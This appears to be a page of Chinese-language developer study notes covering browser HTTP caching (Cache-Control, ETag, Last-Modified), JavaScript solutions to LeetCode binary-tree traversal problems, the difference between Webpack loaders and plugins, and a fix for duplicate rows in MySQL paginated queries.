跟着这篇文章整理的

浏览器缓存

缓存位置

1. Service Worker

  • 基于 Web Worker 独立的线程
  • 可自由控制缓存的文件,持久离线缓存
  • install 事件中缓存文件
  • fetch 事件中拦截网络请求,判断是否命中缓存
  • 没有命中缓存则需要调用 fetch 函数

2. Memory Cache

内存中的缓存。

  • 主要包含已下载的资源,如样式、图片等
  • 读取速度比磁盘快
  • 持续性短,关闭页面则缓存被释放
  • 容量不多
  • preloader 相关指令,如 <link rel="prefetch">

3. Disk Cache

硬盘中的缓存。

  • 存储任意内容
  • 容量大
  • 可持续保存

关于哪些文件会缓存在内存、哪些在硬盘中:

  • 大文件大概率在硬盘中
  • 系统内存使用率高时,文件优先存在硬盘

4. Push Cache

  • HTTP/2 的内容
  • 以上三种缓存未命中才会被使用
  • 只在会话(Session)中存在,会话结束即释放,缓存时间短

缓存类型

浏览器根据请求资源时返回的响应头来判断资源是否该缓存;
根据请求头与响应头判断如何使用缓存。

1. 强缓存

不会发起请求,直接从缓存中读取资源,在 Devtool 中可以看到资源请求返回 200 状态码, Size 显示 from disk cache 或 from memory cache

通过设置 ExpiresCache-Control 两个 header 实现

Expires

  • 用于指定资源到期时间
  • 浏览器在到期时间之前可以使用缓存无需再次请求
  • HTTP/1.0 产物,受限于本地时间,如果修改本地时间可能造成缓存失效

Cache-Control

  • 可以在请求头或响应头中设置
  • 可以组合使用多种指令

指令:

  1. public: 客户端与代理服务器都可缓存,例如 Server -> Proxy -> Browser ,设置了 public 后, Proxy 也可以缓存资源,下次 Browser 请求同一个资源时, Proxy 可直接返回缓存的资源而不用向 Server 请求
  2. private: 只有客户端可以缓存资源
  3. no-cache: 客户端在使用缓存之前,会经过协商缓存来判断资源是否与服务端一致,即会发起请求
  4. no-store: 不缓存资源,即不使用强缓存,也不使用协商缓存
  5. max-age: 缓存内容将在指定秒数后失效
  6. s-maxage: 只在代理服务器中生效,优先级高于 max-age ,如果存在则会覆盖 max-age 和 Expires
  7. max-stale: 表示客户端愿意接收一个已经过期的响应,在过期后指定秒数内可使用缓存
  8. min-fresh: 表示客户端不愿接受新鲜度不高于当前 age + min-fresh 设定秒数 的响应

两者对比

Expires 与 Cache-Control 区别在于,前者是 HTTP/1.0 的产物,二者同时存在时, Cache-Control 优先级更高。在不支持 HTTP/1.1 的环境下则 Expires 有效。现阶段 Expires 只是一种兼容的写法。

强缓存是基于时间来判断是否使用缓存,而不关心服务端文件是否已经更新,这可能导致拿不到最新的文件。

2. 协商缓存

在强缓存失效后,就会使用协商缓存;
协商缓存会发起请求,由服务器根据缓存标识决定是否使用缓存;
如果协商缓存有效,则响应 304 状态码, Not Modified 并且不会发送资源,否则会返回 200 状态码与请求资源结果。

协商缓存可以通过两对 headers 实现:

Last-Modified 和 If-Modified-Since

Last-Modified 记录文件在服务器上的最后修改时间,当浏览器请求这个文件时,会带上 Last-Modified 请求头。

当浏览器下次请求这个资源时,如果有 Last-Modified 请求头,则会添加 If-Modified-Since ,值为 Last-Modified 的值。

当服务器收到请求时,会将浏览器发送的 If-Modified-Since 值与请求资源的最后修改时间进行对比,如果没有变化,则返回 304 使用缓存;如果小于服务器中这个资源的最后修改时间,则表示文件有更新,返回新的资源和 200 。

缺陷:

  • 打开文件而不进行修改的话,虽然文件内容没变,但最后修改时间会被改变,导致 Last-Modified 被修改,服务端会发送相同的资源
  • Last-Modified 精确到秒,如果在 1 秒内修改了文件,则服务端还是会判断命中缓存,而不返回新的资源

ETag 和 If-None-Match

ETag 是服务端返回的当前资源的唯一标识(服务端生成),只要资源有变化,则 ETag 会重新生成。

浏览器下次请求缓存文件时,会把上一次的 ETag 放入 If-None-Match 中,服务端接收到请求后,会对比 If-None-Match 与服务器上文件的 ETag ,来判断该资源是否有更新。

ETag 的优势在于精确度高于以秒为精度的 Last-Modified

其缺点则是服务端要计算 hash 要耗费性能

在优先级上,服务器优先考虑 ETag

应用场景

没有一个绝对通用的缓存策略,只有根据不同的场景来使用不同的策略才能发挥缓存的作用。

1. 频繁变动的资源

对于频繁变动的资源,使用 Cache-Control: no-cache ,这样,浏览器每次请求此类资源都会发起请求,配合 ETag 或 Last-Modified 来验证缓存资源是否有效。

此做法不能节省请求,但可以减少响应数据的大小。

2. 不常变化的资源

对于这类资源通常使用 Cache-Control: max-age=31536000 ,配置一个较大的 max-age ,这样浏览器会使用强缓存,而不会发起请求。

如果遇到文件更新,则通过改变文件名的方式更新,旧的资源则因 URL 不同,不会再被请求而弃用。

这个场景在平时用得比较多,例如线上引用的 JS、CSS 等资源,在文件名后面都会加上一个 hash 值。

用户触发缓存行为

  • 打开网页: 查找 disk cache ,如果未命中,则发送请求
  • 普通刷新 F5: 因为页面没有关闭,因此会优先使用 memory cache ,其次 disk cache
  • 强制刷新 Ctrl + F5: 请求头部带有 Cache-Control: no-cache

关于缓存的其他知识

这部分与浏览器或许不是很相关

缓存的特征

1. 命中率

衡量缓存是否有效的重要指标

命中率=返回正确结果数/请求缓存次数

2. 最大元素

能存放缓存的最大个数,超过这个数量,则会触发清空策略

合理设置最大元素值可提高缓存的命中率

3. 清空策略

  • FIFO (First In First Out) 先进先出策略,在数据时效性优先的场景下可使用
  • LFU (Less Frequently Used) 最少使用策略,根据元素被使用次数判断,在保证高频数据有效性的场景下可使用
  • LRU (Least Recently Used) 最近最少使用策略,根据元素最后被使用的时间判断,在保证热点数据有效性的场景下可使用

一些简单的策略:

  • 根据过期时间,清除过期时间最长的元素
  • 根据过期时间,清除即将过期的元素
  • 随机清除
  • 根据关键字或内容长短清除

参考

二叉树的层次遍历

问题

LeetCode 102

给定一个二叉树,返回其按层次遍历的节点值。 (即逐层地,从左到右访问所有节点)。
例如:
给定二叉树: [3,9,20,null,null,15,7],

    3
   / \
  9  20
    /  \
   15   7

返回其层次遍历结果:

[
  [3],
  [9,20],
  [15,7]
]

递归

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[][]}
 */
var levelOrder = function(root) {
    const result = []
    if (!root) return result
    const traverse = (node, depth) => {
        if (!result[depth]) result[depth] = []
        result[depth].push(node.val)
        if (node.left) traverse(node.left, depth + 1)
        if (node.right) traverse(node.right, depth + 1)
    }
    traverse(root, 0)
    return result
};

DFS

类似非递归求二叉树的深度的做法,在遍历同时记录当前层级的节点

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[][]}
 */
var levelOrder = function(root) {
    const result = []
    if (!root) return result
    const stack = [[root, 0]]
    while (stack.length) {
        const info = stack.pop()
        const node = info[0]
        const level = info[1]
        if (node) {
            if (!result[level]) result[level] = []
            result[level].push(node.val)
            stack.push([node.right, level + 1])
            stack.push([node.left, level + 1])
        }
    }
    return result
};

#4

BFS

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[][]}
 */
var levelOrder = function(root) {
    const result = []
    if (!root) return result
    const queue = [[root, 0]]
    while (queue.length) {
        const info = queue.shift()
        const node = info[0]
        const level = info[1]
        if (node) {
            if (!result[level]) result[level] = []
            result[level].push(node.val)
            queue.push([node.left, level + 1])
            queue.push([node.right, level + 1])
        }
    }
    return result
};

Webpack 中 Loaders 与 Plugins 的区别

Loaders

工作在文件层面,在打包工作进行之前执行。例如在编译一个文件时,遇到一个引入路径,比如 requireimport 了一个 xxx.txt 文件,则在把这个 txt 文件打包之前会用配置对应的 loader 处理一遍。

Loaders 相对于 Plugins 是比较简单的,它只暴露一个函数给 Webpack ,且不会影响到构建过程

Plugins

插件(Plugins)则用于执行范围更广的任务,例如打包优化,资源管理,注入环境变量。一般工作在 bundle 层面或 chunk 层面,通常在打包工作的末尾执行。Plugins 可以影响到打包,能决定打包是如何生成的。

例如 html-webpack-plugin 插件可以生成 html 文件并注入打包中。

Plugins 相对于 Loaders 是较为复杂的,在 API 方面, Plugins 与 Webpack 集成度较高,可以注册内部的钩子,从而影响编译等构建过程

参考

MySQL 分页查询出现数据重复的问题及修复

背景

分页查询某个表,发现有某些数据在不同的分页中都有出现,对应地,导致有些数据在哪一页都查不到。

原因

MySQL 官方文档 中有说明原因:

If multiple rows have identical values in the ORDER BY columns, the server is free to return those rows in any order, and may do so differently depending on the overall execution plan. In other words, the sort order of those rows is nondeterministic with respect to the nonordered columns.

One factor that affects the execution plan is LIMIT, so an ORDER BY query with and without LIMIT may return rows in different orders.

大意是 Order By 的列中,如果有相同值的行,这些行返回的顺序是随机的,不确定的。
影响执行计划的其中一个因素就是 Limit ,在分页的场景中。

在我遇到的问题里,接口是按照更新时间排序的,而那张表之前被刷写过,导致出现了大量相同更新时间,因此本来较小概率的事情就很容易出现了。

解决

If it is important to ensure the same row order with and without LIMIT, include additional columns in the ORDER BY clause to make the order deterministic.

如果要保证返回的顺序,可以多加一个排序的列,最好是数据不重复的列,保证所有排序的列组合起来类似一个唯一键,这样无论是否有 Limit ,都不会影响返回顺序了。

参考

二叉树的中序遍历

问题

LeetCode 94

如标题

递归

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[]}
 */
var inorderTraversal = function(root) {
    const result = []

    const traverse = (node, list) => {
        if (!node) return
        if (node.left) traverse(node.left, list)
        list.push(node.val)
        if (node.right) traverse(node.right, list)
    }

    traverse(root, result)

    return result
};

非递归1

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[]}
 */
var inorderTraversal = function(root) {
    const result = []
    if (!root) return result
    const stack = []

    // 先将左子节点都入栈
    let node = root
    while (node) {
        stack.push(node)
        node = node.left
    }
    while (stack.length) {
        const node = stack.pop()
        result.push(node.val)
        // 针对每个出栈的节点,对其右子节点再执行一次左子节点入栈
        if (node.right) {
            let rightNode = node.right
            while (rightNode) {
                stack.push(rightNode)
                rightNode = rightNode.left
            }
        }
    }

    return result
};

非递归2

上述版本中执行了两个步骤:

  1. 从根节点开始,循环将左子节点入栈
  2. 针对出栈的节点执行步骤1

从代码中可以看到,有两部分代码是类似的:

while (node) {
    stack.push(node)
    node = node.left
}

可以将相同的部分合并起来:

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[]}
 */
var inorderTraversal = function(root) {
    const result = []
    if (!root) return result
    const stack = []

    let node = root
    while (node || stack.length) {
        while (node) {
            stack.push(node)
            node = node.left
        }
        const last = stack.pop()
        result.push(last.val)
        node = last.right
    }

    return result
};

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.